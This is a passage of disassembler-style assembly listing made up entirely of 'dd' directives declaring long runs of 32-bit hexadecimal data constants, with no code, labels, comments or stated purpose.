		dd 8EE9E436h, 2723F459h, 96DF27D1h, 55FEE479h, 0C6153B2Fh
		dd 4B1C1F8Ch, 86F92AA8h, 0F71968Bh, 0EB418DCFh,	0DC471B46h
		dd 275307F6h, 0E7EFBA5Bh, 8BBC1C27h, 15A423Dh, 6A1A7F6Eh
		dd 19F1A382h, 7AE851EBh, 8DD5F88Eh, 479357FAh, 0B7230137h
		dd 951F0850h, 46F09518h, 2CA89F54h, 895DA15h, 11D5125Dh
		dd 42DE137Fh, 83DC4617h, 0AE48CBD4h, 0EA0D8C28h, 9041E063h
		dd 8C72DFF1h, 4895FF4Ah, 13F0364h, 4B0B11A3h, 6DE26F28h
		dd 0DF8979Ch, 0E2F3E529h, 0D1EC491Bh, 306DA6FBh, 857EE5B9h
		dd 7D9F5764h, 86855907h, 0ABDAC39Ah, 98DB8A08h,	0DAEA57E9h
		dd 0A3C474ABh, 0C39AE2E7h, 67E2A4D2h, 0DB5F700Eh, 0C3029DD8h
		dd 4F6803E0h, 221D1F12h, 97BA72A4h, 4D19E868h, 98BEBB11h
		dd 0D603400Dh, 0A3B75685h, 0B0EEC3C5h, 0DDAF6D78h, 0AADE1E9Eh
		dd 16575954h, 0C8D6E5B0h, 292B2B7Ch, 67965809h,	0E101EAB2h
		dd 658D4960h, 143CBDB9h, 0AD14EC9Dh, 0E0F08FCBh, 5311AD64h
		dd 0B18D6230h, 299CB139h, 9A42ACB3h, 47E25A20h,	7D344F75h
		dd 0EA1A6C5Fh, 2E8A899Fh, 67DEBC9h, 7870FDB4h, 94EF74BFh
		dd 81DF6E83h, 82ED7479h, 0CC315501h, 0ED279E22h, 79B6DF6Eh
		dd 894C8F02h, 9609E75Dh, 0B289D3DDh, 837ED1FBh,	0EFD49F0Fh
		dd 884712FEh, 8DFE819Eh, 0AD72DF70h, 0BF42657Ah, 931BB7Dh
		dd 64E0225Ch, 928705Dh,	0D1C3BE3Ah, 82FCEF12h, 0E7805B2Eh
		dd 5C8E743Ch, 5569268Dh, 7EF7EA03h, 46C1A83Dh, 0E6083463h
		dd 0B5853069h, 44ADAD8Eh, 3B5CB5E9h, 8B73121Dh,	4B68F8F1h
		dd 6773199Eh, 20F89FC0h, 0C5A33D97h, 0E87030DDh, 12D8FA2Ch
		dd 0EBFF9A04h, 1ED83B94h, 35631E26h, 4FAAB31Fh,	0FFE3C2D8h
		dd 20F081B8h, 39FF1B99h, 61BE0301h, 53C6CDCBh, 2C9B975Ah
		dd 7540DF5Eh, 0CED9F2D4h, 0DDCCF956h, 10BC66E7h, 933F2FFEh
		dd 0C754BFC2h, 1AD942FFh, 12E1B287h, 2CA96CC4h,	54E4FD7Ah
		dd 3F78661Eh, 0E68C0F2Eh, 0F1714F2Bh, 2B85E5EDh, 9804C8D0h
		dd 5F5E2F27h, 74F11D6Bh, 83D5445Dh, 912FBFCAh, 52DD598Fh
		dd 26640931h, 320227AEh, 50E46FD5h, 0EE5081BEh,	0FCA50919h
		dd 0ED4A1244h, 0D6292870h, 894EEC95h, 6BAF542Dh, 75A9064Dh
		dd 0A67E77A9h, 4A1945Fh, 0D9C17917h, 0F8679C29h, 0A77578D3h
		dd 7B716026h, 63C9BDD3h, 564BE414h, 0ED55273Bh,	0B5794FF1h
		dd 424DC424h, 0D043680Bh, 79ED0E04h, 177DDA1Dh,	82995680h
		dd 1A1C34D6h, 459D7589h, 0E57BE0C8h, 0FA71108Ch, 2C86EA9Ah
		dd 0A4991ECEh, 899BE5C2h, 7D577D69h, 699D2EF9h,	0C8DD577Dh
		dd 0F120A11Fh, 137E9DE4h, 0B5035E24h, 0DDE0F937h, 2875D433h
		dd 16764A34h, 65633B7Ah, 0A0C2BDC8h, 4732FAA2h,	0DCA5D9FAh
		dd 0C5BA462Eh, 0BF7EDEADh, 0F3101F51h, 0FC40E255h, 0BED94ECBh
		dd 0FFC2B33Ch, 680F22B0h, 9237E27Bh, 375AFE8Ch,	0F729B452h
		dd 3CA415A3h, 7F1F1D50h, 0BC2DCB2Fh, 0BD0F64D9h, 822A5F75h
		dd 6613B695h, 7EF1D7D4h, 0BF432523h, 64F6ED48h,	6E6E25EDh
		dd 0FAAC38FAh, 3F56475Bh, 0CEBFAA8Dh, 91AD643Dh, 17F27FAAh
		dd 0ECD68FD7h, 0D2C901FFh, 1EE1E772h, 473E1E25h, 5F0F1C5h
		dd 0FFD71C55h, 0FF5D1047h, 0BE96C405h, 475575CFh, 0CB4D3554h
		dd 0D520045Dh, 6621F0C5h, 51A50146h, 0EC336B7Dh, 0D02BC310h
		dd 39D088A5h, 39D92D3h,	11F5F2DDh, 0D30B6879h, 0FC9DD829h
		dd 4618758Ah, 0FFD550B8h, 87CA8639h, 8F2A50BAh,	2A4ABF4Bh
		dd 2505924Ch, 9960F753h, 61F8D695h, 8D9077F5h, 0BF21FF47h
		dd 0A5F2162Ah, 0D4389E47h, 8B099BC9h, 0CE2C4919h, 4E8B1F1Fh
		dd 0F15B1D47h, 2EB6C3E2h, 0E56D18DAh, 42F7CCC6h, 0ACD96EAAh
		dd 39EDC58Eh, 0CB4697E9h, 0C13F0FBDh, 0F354E91h, 964AF0C7h
		dd 68539CEEh, 0D688CC91h, 587E5D71h, 0E1F9471Eh, 0B1985AB8h
		dd 3CF067EAh, 540F45BDh, 77BB2A14h, 57306E2Fh, 1DD854F8h
		dd 1C1CE028h, 51319A9Eh, 41F26CCEh, 0F1ECF40Dh,	5D1170Eh
		dd 47B82697h, 0ABC0B52Eh, 9432C169h, 0B1E419C7h, 499E627Dh
		dd 0D7C9C2B6h, 33CAAA12h, 3184C4C5h, 43900E22h,	0BBA2738Fh
		dd 0AF6AB41h, 0D926D85Ch, 0C06B7EE8h, 271EBEA3h, 7CC4C55Ah
		dd 55638D34h, 3BC58A03h, 0F5BDDC64h, 0A7D3CADh,	0C26C5E77h
		dd 1F9A1D4Dh, 0C4558274h, 23F8A82Dh, 4FACE01Eh,	26232755h
		dd 0E451E847h, 1835A1C3h, 597D9E45h, 78A17408h,	0C01C3164h
		dd 0E9A94BAh, 0FF49763Ch, 3C9563A6h, 9755589h, 0CEF50551h
		dd 9DB114D2h, 6CFD3FDCh, 0C8779729h, 46D02616h,	0FD70257Bh
		dd 0FF188E50h, 0D816F15Dh, 0DA2FD558h, 3C4FA158h, 0E7155A2Eh
		dd 0BF62C198h, 1742703Ch, 3BA84A42h, 0CFD1EAFh,	34B55C89h
		dd 3CD24C9Ah, 0E91F93EAh, 0EA90547Dh, 0BEFB9423h, 2B206F95h
		dd 46DA8B5Bh, 0A82E4433h, 0BA07396Fh, 27B34994h, 3E2F25B4h
		dd 0DDC26A8Ah, 0E41786ADh, 0D1C7885Bh, 2A3D61B7h, 0D61B1476h
		dd 0AC5A8564h, 26286515h, 3753DD5Eh, 9CBCDB88h,	73F137E9h
		dd 9874BC7Fh, 0EB5C957Ch, 0B1DBEE8h, 0DD2E29h, 688FE6E9h
		dd 0A2CECE96h, 0E072036Bh, 0BAC47573h, 79185432h, 0BED90365h
		dd 6552B045h, 0DA43416h, 0B64374B7h, 0C87F0FE1h, 54F65924h
		dd 3FC6CB2Eh, 0CEAA68F2h, 542EAC93h, 8347D286h,	0D451AB94h
		dd 5525B23h, 0C58BB70Fh, 0C5968EADh, 0A99F5643h, 72FE8130h
		dd 0A688070Ah, 0F64F0DF7h, 0CE81C1D2h, 2AC03C0Bh, 0D93E8BAAh
		dd 0C7F57493h, 0E2DC1F45h, 76584D93h, 135EE922h, 0A7AE918Bh
		dd 785D8F0Bh, 7DD0CE16h, 3DC24675h, 4D8AFFA4h, 909F0FA6h
		dd 634A0E4Ch, 5EF69A7h,	0BE47BD6Fh, 0F1A8F829h,	0A84A791Eh
		dd 0F7FCD2Dh, 13C804ECh, 0BC787B6Ah, 393416ECh,	0FE875141h
		dd 0E5E2268Eh, 0A12082F1h, 4FEB933Bh, 83ECDF04h, 44787B97h
		dd 0B51848CFh, 0C41123ABh, 59344A68h, 406BD27Dh, 15AE3AEEh
		dd 7EF55309h, 49E89656h, 527A8ADAh, 2228F639h, 6C70CB0h
		dd 0C6151A78h, 0C180693Dh, 0E843461h, 0D2012F63h, 5C39E361h
		dd 0FB3C70BCh, 0C2525ADCh, 0A3CA5316h, 7D56D6C8h, 39F0DE2Ah
		dd 1E71F153h, 8A9F449Fh, 153E09D2h, 0D365436Bh,	0E390D376h
		dd 0BE43E19Fh, 3C7FC4EAh, 682D93E4h, 368B9663h,	26CF6EB1h
		dd 0B2F561D4h, 27C238EDh
		dd 428D6A31h, 547F0C43h, 0FF1FA9DDh, 36FE91F6h,	0A983D872h
		dd 2342C761h, 1A96DD87h, 1D1DB276h, 91BEF61Ah, 67BFEEC3h
		dd 86496D51h, 992DA8ECh, 0F5F269Bh, 305C274h, 0C9A5968Fh
		dd 608A681h, 86C3692Dh,	95877D1Eh, 0AAAFC797h, 33CE110Dh
		dd 0DAF05079h, 0C10BF212h, 0C2464DE3h, 8B76787Dh, 0A2535E20h
		dd 2468523Bh, 0D9F73207h, 1ABFC3E1h, 0ECEE11DBh, 34D4311Fh
		dd 79A75DFCh, 0BD7FB71Ah, 7177F0D0h, 8C2C5FADh,	16B23FC3h
		dd 9F8645D3h, 0F77D6AB6h, 2EF0A9C5h, 0A6855385h, 5559C73Dh
		dd 64250B35h, 3B5509C4h, 0B71EB3F6h, 0F6D16352h, 8CAC6644h
		dd 0F92B491Eh, 4783D235h, 0C074FEADh, 5BA066B1h, 63D81941h
		dd 4D82B48h, 1613CBCh, 4BC6CB3Bh, 0F2EB6717h, 0B14E48B2h
		dd 9B8AC773h, 9C3AC831h, 0A99CF111h, 0DD0375FDh, 5F7FA0D4h
		dd 16C39556h, 0A55BC25Ah, 0E0C6534h, 19BA9A0Dh,	0BAA0867Fh
		dd 0D61EE651h, 87BD8F6Ch, 2BAD2E5Ah, 0E9D2996Eh, 8D22BB3Ch
		dd 78D9641Dh, 0DA16E323h, 0FD4CFF51h, 60D1B178h, 7F1AB1ACh
		dd 2473D54Dh, 0DAE86EA8h, 358D6729h, 0DA810416h, 6F172CB9h
		dd 0AD6F9C7Eh, 74A63B8h, 1141C7DBh, 0FB970952h,	0F370A41Ch
		dd 0AE8ECE00h, 2555956h, 8D5954C0h, 0C6D0443Fh,	3AF0CB2Ah
		dd 62CADAC2h, 0F4C57467h, 2F6CED29h, 1526E887h,	2FFEF51Bh
		dd 0C69A4AC6h, 4CB57172h, 387610E9h, 634CACCFh,	5E2E5867h
		dd 0ECA778DAh, 86BE3A10h, 9022C640h, 52F0AF4Dh,	898580C6h
		dd 92BE4428h, 4B145955h, 7DBCEF3Ch, 3F3229E9h, 2BB24818h
		dd 0D9608639h, 0A59D4875h, 8C98C431h, 0B41D59D7h, 84FD435Eh
		dd 48F5C342h, 631775C5h, 0F8665094h, 0C3B20183h, 32934D1Fh
		dd 24B3F0CBh, 695A5A38h, 0DC1C84BBh, 9F674E9Ch,	9A9A5980h
		dd 62469664h, 0CA6B8232h, 48FF7031h, 4DBEA538h,	0FCD5212Ah
		dd 0D8D58B9Ah, 0A0F39A1Dh, 84E25E94h, 105277C1h, 38C1F411h
		dd 0A71ABCA3h, 629A26D8h, 583D17B4h, 7DE1C812h,	68999B28h
		dd 287E78Dh, 12E94639h,	0F934DF8h, 0BF1EE5D2h, 2A212E8h
		dd 0B205FBDEh, 0BD52217Dh, 93709DA5h, 56FE2E93h, 576EBCD8h
		dd 91EB8C72h, 0F18025D3h, 10FB23B1h, 3B850CBFh,	7F89724Fh
		dd 0FC5BE419h, 957A5278h, 1F24B404h, 0F7312D5Eh, 39C79F05h
		dd 0DD0E7692h, 0BEE1C2DEh, 80B0B444h, 27C52E55h, 25E45CBBh
		dd 0FF086A17h, 24FAAF3Ah, 0F2A6186Eh, 0A646986Ah, 84417630h
		dd 57B181FFh, 0F093798Ah, 1CFE35B4h, 0CC5C1D17h, 91EC2163h
		dd 691EB4Ch, 8A467CCFh,	8A691E99h, 0D603AA5Ah, 0CEC1CACh
		dd 6B6723FAh, 0DB07752Bh, 5416F9A1h, 518F8E04h,	0C8A67CEDh
		dd 0FD17427h, 0EADCCC1Eh, 0D69A439Ch, 0F4EBFC84h, 0DE3C61FDh
		dd 88F39C59h, 0E072D83h, 0CA3E5636h, 3AA317F8h,	0EFD4B217h
		dd 0DCEB4697h, 0EBD57026h, 0B1AD34BBh, 0E8EE6EF5h, 539D01E7h
		dd 2662F3A2h, 381B9D67h, 82DB4CEBh, 48A42D05h, 9E9B78A6h
		dd 2050E6F3h, 254D20DFh, 324125A6h, 0A17F1DC1h,	7209B768h
		dd 0E27C3ECCh, 0C8ABD479h, 886FD4C0h, 666CE7ABh, 4B8E2E1Eh
		dd 4C7CA7F2h, 2AF00E0Fh, 81EE6C16h, 0B1F47431h,	41B160B6h
		dd 5ECAA602h, 29B19741h, 0C93B2AA6h, 7454E154h,	0C50B6812h
		dd 0DB66AA62h, 0F4E5E85Dh, 0CA32755Dh, 5E1BB746h, 8B2643FCh
		dd 9F3CC2E1h, 8FAB5C67h, 0FC819E4Ch, 0A113B21Ah, 0B2B3D25Ah
		dd 46E9621Ah, 932A0E05h, 21FF9BB8h, 0DF973AAFh,	4503C465h
		dd 0BC81528Eh, 6EDD0F19h, 0EA299D47h, 422A344Ah, 2FBCDBDFh
		dd 379D0F47h, 1BCFD09Eh, 0DBF968Eh, 0F82BB40h, 0C136C2F7h
		dd 66C08132h, 26FE11D3h, 6EDD8729h, 0BD0F1F89h,	3BAF2F65h
		dd 0D5F86283h, 51B349FBh, 0D66E08E7h, 0D21E44A9h, 9EE191B1h
		dd 0E6FF62A7h, 1434D79Eh, 32C0D666h, 1794D24Fh,	68653493h
		dd 0AE4A1FDDh, 0CDF4B7FBh, 29674FE6h, 0B4754722h, 550E84CBh
		dd 0A6E2F7D7h, 2EF75831h, 7EF09C52h, 0D5B0F479h, 0FA37C915h
		dd 2D343E4Dh, 0E6C76375h, 77D2453Eh, 0D5B7CC45h, 0B9B25AFh
		dd 31185A72h, 30A664ADh, 22AF68AEh, 0C20AA9E6h,	0E6234987h
		dd 402E0DF8h, 8D3ACD42h, 4DA800B1h, 14DBF55Eh, 0F2EECD82h
		dd 6A61B9A7h, 6FDFA0A0h, 0A45C5F55h, 7FA041EBh,	4EFB0501h
		dd 322CA699h, 0BC169529h, 5B9A44C9h, 1B178987h,	0C24975E0h
		dd 8EE06791h, 687D500h,	2D5C2E49h, 7A56862Dh, 7AD95B1Ch
		dd 0E2091F2Ch, 0E3DBEC2Fh, 8D2CBE4Bh, 4AD9DB62h, 3E4FB84Bh
		dd 6163E305h, 0B1601615h, 1F3666E3h, 3D0FBBE8h,	0C03790C6h
		dd 0D5EA71A7h, 29FA0C5Ah, 3C5ACD11h, 1C2F09EAh,	8AA99072h
		dd 98B97867h, 0DF290976h, 67A2CF7Dh, 28CA413Bh,	9D36636Fh
		dd 0E5D5A2E9h, 61AD11E5h, 316038F5h, 5987AFD5h,	0E5F509BCh
		dd 598BC9AAh, 2092244Eh, 0DB10F211h, 0C47C6120h, 0B88375B9h
		dd 47DEAEE5h, 33CE756Ah, 0E837DB81h, 583DA68Bh,	512C8062h
		dd 69DD457Bh, 9DC7355Ah, 98AE4727h, 6C9875EBh, 0AF15AC3Bh
		dd 859EAED0h, 2C5A93A5h, 0F85D61B6h, 5261752Ch,	0D0EBD197h
		dd 0CC423308h, 2F01B14Eh, 49FBD48Ch, 1CFFC4A4h,	49516BA9h
		dd 0FF908932h, 0A73D0862h, 5F2B5A2Fh, 9C53B673h, 5A39E462h
		dd 0C9BF2E5Ch, 75D237E5h, 7E997A80h, 323B1B66h,	0B80BC762h
		dd 0D0FCAD12h, 517CEE77h, 0CC493BAFh, 988FCC35h, 0A3693719h
		dd 0A96ACA6Ch, 6E849D69h, 0B5386ABCh, 85E4F67Ch, 0E3517BABh
		dd 45B0F97Ch, 0F45F12FFh, 8BFEEC54h, 2FCE9314h,	0C3179EB6h
		dd 4A710E8Dh, 0D792F3F4h, 7E22E573h, 3C224DFCh,	0D5A63499h
		dd 17C94FD6h, 39CB6D25h, 0CAEBD0Ch, 57AFEBh, 8A5F0E1Eh
		dd 2263A055h, 74AFCD6Fh, 9CF254E0h, 0AC30DA9Eh,	0F7EA2CA7h
		dd 499C2720h, 0C949F5ECh, 177A8664h, 0C2628EE0h, 0D108748Dh
		dd 0CFF6E387h, 232D881h, 0CE7A95E2h, 1559D412h,	0F458D2EDh
		dd 78FE49E5h, 4C34FE2Dh, 0F9732F91h, 0F50CDD75h, 24DC8D56h
		dd 0BDD7EDCCh, 0E1F423BBh, 0E3A2DC8Dh, 0ADB0EFA0h, 7B0EFA7Dh
		dd 0B7266A93h, 0F8FABB96h, 1BF9FB3Eh, 0ED0DD42Dh, 37C13F69h
		dd 3FCF1D57h, 6CE8F6h, 527AF22Ah, 456001A1h, 0F36A86E7h
		dd 0E4819C0Dh, 43B0A34Ch, 8E2C14F1h, 9553535Bh,	925B088h
		dd 3CF273C9h, 0FC4EDB48h, 9DB69067h, 63424148h,	72098BFCh
		dd 46C5BAECh, 8554CF9Fh, 0CDBF152Ch, 12FB4693h,	0DF9652F3h
		dd 32927ACh, 9504B9C4h,	8EEDAA5Fh, 2F65D58Fh, 0BB9473E4h
		dd 0E341255Ah, 0D70C2148h, 4CD9D236h, 5EACE73Bh, 0E0B64D47h
		dd 0E6526DCCh, 0CA2FA707h, 0AC45E965h, 0C0C914E7h, 37E4E722h
		dd 0F96FCB0Dh, 0FE1BF32Fh, 2238FC9Bh, 3A487E0Fh, 0BE5DF0FFh
		dd 0ABDFCA0Eh, 593B8B33h, 7FD140EEh, 0A2B0F557h, 63BEFFA6h
		dd 3FCE9586h, 4B1DB4A7h, 0B78D8C5Fh, 7C51830Fh,	2C6CC14Eh
		dd 7522F9F8h, 7FFA5528h, 0FFE7352Ah, 0FFF2AA54h, 39DE6A54h
		dd 52C4AEA5h, 7787F117h, 61C29C2Eh, 9FFF5C70h, 7FF9DCE0h
		dd 0FF9CA01Dh, 3E4DF9A2h, 74DADCC8h, 403EFD1Fh,	0D7F0CBBFh
		dd 46A01FAFh, 4E0ED612h, 71FC2F58h, 471F79D7h, 0C4EDCBFEh
		dd 0C9CFF60Ch, 20678070h, 9E7AD677h, 6E59760Bh,	649489D7h
		dd 6E720BF4h, 0C3A865D1h, 0BFB7D52Ah, 0FEDA5E96h, 0F1B0FFCEh
		dd 5C361F62h, 172BC3ECh, 62FEB0FBh, 0D8BA5E1Fh,	0F62E1787h
		dd 7D8BB9E1h, 1F62F678h, 0C3EF3E9Eh, 54FDDD39h,	0C78C17EFh
		dd 0C7F3DEBAh, 7E2EFCE3h
		dd 0EB843D02h, 0C9CFFFB2h, 0D942F6B6h, 0D0D3C9CEh, 9F130FCBh
		dd 3FFEA797h, 0CA1C13C8h, 0D5B7DE73h, 0D56DF39Fh, 0F4937CE7h
		dd 4FA54D6Fh, 9DE8CAA2h, 474ACA8Eh, 9A2FA5A5h, 0BA694F23h
		dd 91992F6Fh, 610AF814h, 0A4E5F437h, 277D44B6h,	6334B70Ch
		dd 0EB4D290Eh, 298D9D82h, 5D1A30F3h, 3874DE1Dh,	0CC72AD66h
		dd 2AB31C92h, 0EEB3A993h, 0ACC71784h, 0A5598E39h, 9159FAADh
		dd 43E63FD5h, 0D22D6ED7h, 0B694AE35h, 6FD7BE54h, 5723ADF0h
		dd 28316BB7h, 13647A72h, 0B476AA66h, 0E8717A9Ch, 0DEC319DEh
		dd 1FD7090Dh, 0F1BAE125h, 31D18A0Ch, 0D1FF9D1Eh, 71BAE121h
		dd 50075280h, 45CD0AC8h, 7C1F6207h, 432868C5h, 0B6D52757h
		dd 0BC947D0h, 0F99CEE6Ch, 7C14F83Dh, 0E3D19F13h, 20F8ABC1h
		dd 5E98D15Dh, 28CA4A3Ah, 8A8496CDh, 615235B8h, 17D47974h
		dd 319782BFh, 3ECB318h,	0EC774B2Eh, 28DC20E7h, 8EE6AD4Ah
		dd 0E5D19D9Bh, 0F04B46D6h, 1994A674h, 99205D3Ch, 0A72E20E1h
		dd 950C0B07h, 1D7A83F1h, 21FCB5D2h, 1FC51A53h, 9171E40Ah
		dd 0E1F751B0h, 0A2CD184Ch, 75DBE29Ah, 99D187h, 3B54F59Fh
		dd 624B554Fh, 9FD1B164h, 0B745D6E9h, 496802E1h,	8D707A41h
		dd 50B2D96h, 2B90DA15h,	70BC7268h, 3A230EE6h, 0D017207Ch
		dd 9077C7EAh, 8FEEB29Bh, 984FB049h, 48BBEAD8h, 36C9BB6h
		dd 0DABF31D4h, 0F67143A1h, 98DF1CACh, 706752EEh, 0D64AA59h
		dd 597AF97Eh, 0CE371B98h, 57FF1F9Eh, 7ED8B32h, 4A0E46BFh
		dd 439B5613h, 4B81ED67h, 0D5BE5F82h, 0C3586616h, 16C1A31Ah
		dd 0C2386946h, 0E20FD1E8h, 3C6638E3h, 377AA072h, 0BEE9E460h
		dd 284D3807h, 63E71B26h, 0BDB1272Fh, 8EA30EF5h,	0A7B3B558h
		dd 8613B97Ah, 94B240A3h, 0A54C954Eh, 0C1D1E533h, 27E6192Fh
		dd 38715851h, 0F73CB4F9h, 0AEDFF6DCh, 0B7A6DD7Bh, 0A2F1DBAEh
		dd 0CEC1593Dh, 441BC9DBh, 0D9171AF5h, 81A3395Fh, 8113CEB9h
		dd 94667AD9h, 9DBC6E58h, 0DAA74050h, 52EA45A8h,	0C41EF147h
		dd 82D445C0h, 0C0E8678h, 10FE99FDh, 5637ADE1h, 8DD2C4A7h
		dd 674BDF30h, 0BD28CEADh, 529451EBh, 0B57D7E96h, 35E1F4A9h
		dd 834E969Fh, 3E6B25BFh, 0B6DEBD2Eh, 7FC865AEh,	0A9D79F38h
		dd 46574D59h, 9917F634h, 0FD25DCD5h, 419CD0C0h,	5053761Ch
		dd 0CB7D6B6Dh, 2790A912h, 0B2D1587Bh, 0B09DB25Eh, 1D4EBFA0h
		dd 7BB6AB5Bh, 0D6F171BDh, 0A3DD8C56h, 0ED27F0FBh, 3E93A410h
		dd 0ED291557h, 37C6B8A0h, 7FB3F87h, 43EE5CE0h, 9E62BE38h
		dd 0D2792BE2h, 7E4A768h, 0A9ECD37Ah, 0A76813C0h, 9A6B018h
		dd 48A2FA28h, 9A30B606h, 0F5DEEBF5h, 3E06D1Fh, 4B216D4Ah
		dd 0CBEAFD7Dh, 0A00B03C5h, 4EF739B8h, 8DD73CFEh, 0F5160BB1h
		dd 0E971BB72h, 823F8C26h, 0B6A89557h, 7356E850h, 79AB932Ah
		dd 0F9C9A5C5h, 0E25566ABh, 154E4370h, 3DEE68A9h, 0BD6EF850h
		dd 0D455A877h, 1E176409h, 0D4754C1Eh, 0FD48D4A5h, 0A7C16E53h
		dd 6139245Ch, 46A4B538h, 0D7DC7327h, 3D37C24Bh,	0EC9040A0h
		dd 18AC6B83h, 1A1BDA4Bh, 2B83672Ch, 68548CAFh, 115D3551h
		dd 687FE4ADh, 43359E1Bh, 0AD43CBC7h, 0B5955AE5h, 87C8FE5Ah
		dd 10622265h, 736D688Dh, 3C2F068Dh, 2B27F203h, 6C4369C8h
		dd 3830594Eh, 5A42C597h, 8B6FF7F1h, 0E20D0976h,	696AA886h
		dd 0DFA75F10h, 0F46FC1BFh, 0E20D0993h, 20D62C1Bh, 37B4A46Eh
		dd 0FD1377E9h, 0C1B8C66Eh, 0BD226674h, 411578BAh, 0D3B7D048h
		dd 9267BF4h, 18422CE1h,	0E8CFB4A0h, 0B57E9077h,	0C21C8424h
		dd 2D9E85B2h, 0FB01424h, 83983BF9h, 20D081F1h, 72BDF236h
		dd 8AFB73AFh, 8D81221Bh, 0ED9A68A1h, 639AD5AFh,	8CF7E367h
		dd 5142638Dh, 4B03F453h, 74907BD6h, 71941E86h, 0E8830591h
		dd 0F2F77BD4h, 0C4CCB64Eh, 0CB985956h, 333B6CAh, 63BFD83Bh
		dd 0DF13DBE2h, 0BD877ACFh, 8C6D542Fh, 7AAE35ACh, 4587BFCEh
		dd 0E8F8EAA3h, 0A8AC8CA1h, 13ED6310h, 0BBCF213Bh, 5508EF59h
		dd 6375912Dh, 0A9B5AF3Ch, 7768EDECh, 6B03F44Eh,	3B42DBD6h
		dd 0F6F6C1DBh, 7BB89CEFh, 7BD66762h, 70B0AF6Ch,	0CCE3644Bh
		dd 0A0ACBFDh, 47E89ED9h, 31D1E8B6h, 1D847B59h, 7DC4CCECh
		dd 26267BFDh, 810ACEB2h, 0B72BC8F6h, 0CDFDB27Ch, 1E8C1B28h
		dd 49FA34BDh, 3B20D666h, 2519C29h, 15B289D6h, 1ACE9CF2h
		dd 22DB0214h, 0B27F19F5h, 6194FEADh, 30766A50h,	68F8C9FAh
		dd 8F564657h, 1362CFD0h, 98EFEFDFh, 0AB5656F8h,	0D6447620h
		dd 3D8BAE5Ah, 0CD91173Eh, 72B21E89h, 4B211964h,	0AA14EA0Dh
		dd 97C20176h, 17B4C54h,	3F45B611h, 9E11C318h, 0BD670848h
		dd 8CEC2C27h, 7C699BACh, 7633E2B2h, 28F99106h, 0DB0CEB33h
		dd 64469C21h, 0E1095A16h, 0E04233h, 54F9DC20h, 66447EF0h
		dd 0D1F32037h, 8C91E8F8h, 1EC2DDACh, 0B55A1276h, 0AC89E27Bh
		dd 15DC8253h, 53FF4FA9h, 7AC61CFFh, 44E49FA2h, 0EC80ACBBh
		dd 88631649h, 7DC4DB6Ch, 0BBD0AD59h, 0F84061E2h, 0D35BBE5h
		dd 0F45B611h, 0BBD6198Dh, 0AAEF636Fh, 9B25B591h, 0A0A3DCF6h
		dd 0D1A5E2F5h, 0D3ACCCEEh, 81500242h, 0CC88552Ch, 8E07BC20h
		dd 0BB8DD645h, 0DF13CC7Ah, 4DA06446h, 641FA3E3h, 3E609B40h
		dd 1A7898ECh, 0BD01D51Ah, 0F227B0BDh, 7E9FF4CAh, 0D8CFA9EFh
		dd 3947E8EEh, 0C05623D1h, 0C1804615h, 89FEB008h, 0B39BA17Bh
		dd 827DB14Eh, 0FF280BDCh, 0BF43F670h, 0D16D9443h, 0B28831AEh
		dd 7400F22h, 9F9BC42Fh,	0A3138389h, 558D7780h, 0A7911310h
		dd 0BCB2AEF3h, 8D6B3B72h, 8D1A5D76h, 3EF24267h,	7E030621h
		dd 68159A16h, 7DB5AC89h, 6815D263h, 0F2FC7974h,	0D67321E8h
		dd 20355669h, 4FB62624h, 0C2AD883Ch, 4BFF2821h,	3BA20B79h
		dd 0A8C1FA2Eh, 4759B7ACh, 0DDE14EFFh, 5ED87B89h, 42C2339Ch
		dd 705DF015h, 212FE2D7h, 47A363BEh, 66ED6746h, 0FE8EC2FDh
		dd 0C4DF6CDDh, 14E30013h, 23792ACCh, 0B687FB20h, 0B20376BFh
		dd 2AA27247h, 0A8B2FF4h, 0C02A7127h, 303A2350h,	0D716361Dh
		dd 0CDDC6FD8h, 0E5EAA2DAh, 0ACE6A3D1h, 88467636h, 0A221BF61h
		dd 0DF7A0042h, 9399CEE6h, 8B8E6886h, 68051A1Eh,	0FD12176Eh
		dd 0C041D83Bh, 34C47DF4h, 1DD69801h, 4C44EA69h,	183F46C7h
		dd 0EF0A988Dh, 3C04EFF6h, 3EECD0F7h, 6DC2C28h, 7D9FB6B8h
		dd 0FAE028EFh, 13F44E41h, 0C057126Bh, 3CD1F74h,	3D3017B6h
		dd 57438FF2h, 1E5EB761h, 0C48F32EDh, 17B1054h, 0B719DDCFh
		dd 0E39E22B4h, 254747A2h, 809D64F1h, 42BE3EE9h,	0CF1EDAD6h
		dd 622F67FEh, 687A363Ah, 0E298B9F4h, 0B8003EC4h, 97739C7Eh
		dd 0CA1EB808h, 4D647E89h, 0EE980AE2h, 2CE298E5h, 0FBFF7730h
		dd 97ABD8F7h, 0CF988F47h, 0E00B74C5h, 3E3E6899h, 8B8E7880h
		dd 0E24A8D76h, 4C07DEC9h, 9DA622F7h, 0B4DEE980h, 310B7EEFh
		dd 3A3D1B1Dh, 8F4C7CFAh, 0F38DA601h, 8CE08BAEh,	5B7689CDh
		dd 768EA639h, 5542BBC7h, 5B786007h, 7B0D19C9h, 81FA3F33h
		dd 0D8E86389h, 2C21D8E3h, 0BD352584h, 8F7BEFAEh, 0F1A3F7B3h
		dd 0AC91E8DCh, 0BD85F7ACh, 4DFE3DECh, 5DA7D48Dh, 0BE67F5FDh
		dd 0CC43DEC3h, 3B2ED1ECh, 8E53CC4Ch, 472DECDDh,	0B59EF794h
		dd 0CFC3F8h, 0D171AEA7h, 427BD0E3h, 2C21D1CCh, 39984984h
		dd 0CF4DA3E7h, 8FD11DB1h, 4C87A3F2h, 93003B59h,	1604C00Eh
		dd 0D3C8B6C7h, 0EEFF7FE3h, 67615FFBh, 0A373C7A3h, 0CC02CEFFh
		dd 0F977B0CFh, 0DAC8CEB7h
		dd 0CAFDEE9Bh, 4EC7D1Bh, 9EC875D6h, 2BBD8275h, 0B3B63BF4h
		dd 427D8EBDh, 0D3C8E1CDh, 9B8DB2C2h, 1FC4E137h,	828F8D17h
		dd 0DA39895Eh, 681EAA85h, 0AFCD6C5Bh, 0DB6B0F26h, 0D1DDA16Eh
		dd 46FF881h, 9AE677FAh,	0FE908FA6h, 668F46E5h, 48E7FA71h
		dd 0C8E34E38h, 3C25BC6Eh, 0D62EF8EDh, 0B51DB58Fh, 8F43F567h
		dd 0B20C749Eh, 42BD8E83h, 0CDA82ECDh, 34C1A13Ch, 1084B6A2h
		dd 0B46C8AE8h, 0DAEC7495h, 0DAC5DECBh, 0DEB29A8Eh, 1B508365h
		dd 0D9163C41h, 5FC3EE38h, 0A1723FECh, 5B5012DAh, 0AF6FF562h
		dd 0FC36B73Ch, 0B19FA306h, 16D2F3D4h, 1D1E8896h, 65475517h
